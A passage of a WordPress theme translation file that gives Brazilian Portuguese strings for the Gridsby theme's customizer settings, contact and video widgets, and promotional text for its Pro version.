msgid "Sometimes you need different sidebars for different pages. We got you covered, offering up to 5 different sidebars."
msgstr "Às vezes você precisa laterais diferentes para diferentes páginas. Nós temos o, oferecendo até 5 barras laterais diferentes."

#: panel/gridsby-admin_page.php:296
#@ gridsby
msgid "Access an additional 65 Google fonts with Gridsby Pro right in the back-end of the WordPress customizer."
msgstr "Acesse uma fontes adicionais de Google 65 com direito Gridsby Pro no back-end do personalizador do WordPress."

#: panel/gridsby-admin_page.php:300
#@ gridsby
msgid "PSD Files"
msgstr "Arquivos PSD"

#: panel/gridsby-admin_page.php:304
#@ gridsby
msgid "Premium versions include PSD files. Preview your own content or showcase a customized version for your clients."
msgstr "As versões Premium incluem arquivos PSD. Visualizar o seu próprio conteúdo ou mostrar uma versão personalizada para seus clientes."

#: panel/gridsby-admin_page.php:308
#@ gridsby
msgid "Free Support"
msgstr "Suporte gratuito"

#: panel/gridsby-admin_page.php:312
#@ gridsby
msgid "Call on us to help you out. Premium themes come with free support that goes directly to our support staff."
msgstr "Nos chame para ajudá-lo. Temas premium vem com suporte gratuito que vai diretamente para nossa equipe de suporte."

#: panel/gridsby-admin_page.php:316
#@ gridsby
msgid "View Pro Version"
msgstr "Ver versão Pro"

#: search.php:18
#, php-format
#@ gridsby
msgid "Search Results for: %s"
msgstr "Resultados de busca para: %s"

#: widgets/contact-info.php:13
#@ gridsby
msgid "Display your contact info"
msgstr "Exibir suas informações de contato"

#: widgets/contact-info.php:15
#@ gridsby
msgid "MT: Contact Info Widget"
msgstr "MT: Informações de contato Widget"

#: widgets/contact-info.php:53
#: widgets/video-widget.php:49
#@ gridsby
msgid "Title"
msgstr "Título"

#: widgets/contact-info.php:61
#@ gridsby
msgid "Enter your address"
msgstr "Digite seu endereço de"

#: widgets/contact-info.php:67
#@ gridsby
msgid "Enter your phone number"
msgstr "Digite o seu número de telefone"

#: widgets/contact-info.php:73
#@ gridsby
msgid "Enter your email address"
msgstr "Digite seu endereço de e-mail"

#: widgets/contact-info.php:171
#@ gridsby
msgid "Contact info"
msgstr "Informação de contato"

#: widgets/contact-info.php:195
#@ gridsby
msgid "Address: "
msgstr "Endereço: "

#: widgets/contact-info.php:205
#@ gridsby
msgid "Phone: "
msgstr "Telefone: "

#: widgets/contact-info.php:215
#@ gridsby
msgid "Email: "
msgstr "Email: "

#: widgets/video-widget.php:13
#@ gridsby
msgid "Video for your sidebar."
msgstr "Vídeo da barra lateral."

#: widgets/video-widget.php:15
#@ gridsby
msgid "MT: Video Widget"
msgstr "MT: Vídeo Widget"

#: widgets/video-widget.php:57
#@ gridsby
msgid "Paste the URL of the video (only from a network that supports oEmbed, like Youtube, Vimeo etc.):"
msgstr "Cole a URL do vídeo (só a partir de uma rede que suporta oEmbed, como Youtube, Vimeo, etc.):"

#: widgets/video-widget.php:151
#@ gridsby
msgid "Video"
msgstr "Vídeo"

#: inc/customizer.php:685
#@ gridsby
msgid "Select to display your posts in ascending or descending order."
msgstr "Selecione para exibir suas mensagens em ordem crescente ou decrescente."

#: inc/customizer.php:691
#@ gridsby
msgid "Ascending"
msgstr "Ascendente"

#: inc/customizer.php:692
#@ gridsby
msgid "Descending"
msgstr "Decrescente"

#: inc/customizer.php:823
#@ gridsby
msgid "Number of Widget Columns"
msgstr "Número de colunas do Widget"

#: inc/customizer.php:824
#@ gridsby
msgid "Select the number of widget columns to use. 1 Column will take up the entire widget area, while 4 columns will give space to use 4 widgets for content."
msgstr "Selecione o número de colunas de widget para usar. 1 coluna ocupará a área inteira do widget, enquanto 4 colunas dará espaço a utilizar 4 widgets para conteúdo."

#: inc/customizer.php:830
#@ gridsby
msgid "1 Column"
msgstr "1 coluna"

#: inc/customizer.php:831
#@ gridsby
msgid "2 Columns"
msgstr "2 colunas"

#: inc/customizer.php:832
#@ gridsby
msgid "3 Columns"
msgstr "3 colunas"

#: inc/customizer.php:833
#@ gridsby
msgid "4 Columns"
msgstr "4 colunas"

#: panel/gridsby-admin_page.php:268
#@ gridsby
msgid "Control more options of your website including scroll animations and hover effects for your photos, as well as a home page slider template."
msgstr "Controlar mais as opções do seu site, incluindo animações de rolagem e focalizar efeitos para suas fotos, bem como um modelo de controle deslizante de página inicial."

#: inc/customizer.php:650
#@ gridsby
msgid "Photo Post Method"
msgstr "Foto Post método"

#: inc/customizer.php:661
#@ gridsby
msgid "If you do not want the default animated lightbox effect, you can change to link directly to the post."
msgstr "Se você não quiser o efeito do lightbox padrão animado, você pode alterar a ligação diretamente para o post."

#: inc/customizer.php:666
#@ gridsby
msgid "Animated Lightbox"
msgstr "Lightbox animado"

#: inc/customizer.php:667
#@ gridsby
msgid "Direct Link to Post"
msgstr "Link direto para o Post"

#: inc/customizer.php:673
#@ gridsby
msgid "Photo Post Options"
msgstr "Foto Post opções"

#: inc/customizer.php:675
#@ gridsby
msgid "Customize your photo posts options"
msgstr "Personalizar as suas opções de postagens de foto"

#: archive-image.php:38
#: category.php:29
#, php-format
#@ gridsby
msgid "%s"
msgstr ""

#: inc/customizer.php:27
#@ gridsby
msgid "Want to sell your photos? Need a little bit more customization for Gridsby? If you want to see what additional features <a href=\"http://modernthemes.net/wordpress-themes/gridsby-pro/\" target=\"_blank\">Gridsby Pro</a> has, check them all out right <a href=\"http://modernthemes.net/wordpress-themes/gridsby-pro/\" target=\"_blank\">here</a>. Gridsby Pro is only $15!"
msgstr ""

#: inc/customizer.php:100
#@ gridsby
msgid "Body Font Size"
msgstr "Tamanho da fonte corpo"

#: inc/customizer.php:152
#@ gridsby
msgid "Page Title Background"
msgstr "Plano de fundo do título da página"

#: inc/customizer.php:845
#@ gridsby
msgid "Widget Background Image"
msgstr "Imagem de fundo do widget"

#: inc/customizer.php:870
#@ gridsby
msgid "Widget Button URL"
msgstr "Widget botão URL"

#: inc/customizer.php:1030
#@ gridsby
msgid "Title Display"
msgstr "Exibição de título"

#: inc/customizer.php:1036
#@ gridsby
msgid "Show Category Title"
msgstr "Mostrar o título da categoria"

#: inc/customizer.php:1037
#@ gridsby
msgid "Hide Category Title"
msgstr "Ocultar o título da categoria"

#: inc/customizer.php:999
#@ gridsby
msgid "Category Pages"
msgstr "Páginas de categorias"

#: inc/customizer.php:1001
#@ gridsby
msgid "Select the layout of your category pages."
msgstr "Selecione o layout de suas páginas de categoria."

#: inc/customizer.php:1011
#@ gridsby
msgid "Category Gallery Layout"
msgstr "Galeria categoria Layout"

#: inc/customizer.php:1012
#@ gridsby
msgid "(Note: only for image gallery layouts)"
msgstr "(Nota: apenas para layouts de galeria de imagem)"

#: inc/customizer.php:1018
#@ gridsby
msgid "Full-width Page"
msgstr "Página de largura total"

#: inc/customizer.php:1019
#@ gridsby
msgid "Page with Sidebar"
msgstr "Página com a barra lateral"

#: inc/customizer.php:1052
#@ gridsby
msgid "Number of Posts"
msgstr "Número de Posts"

#: inc/customizer.php:1053
#@ gridsby
msgid "Choose the number of posts to display on your category pages (0 shows all)"
msgstr "Escolha o número de mensagens para exibir em suas páginas de categoria (0 mostra todas)"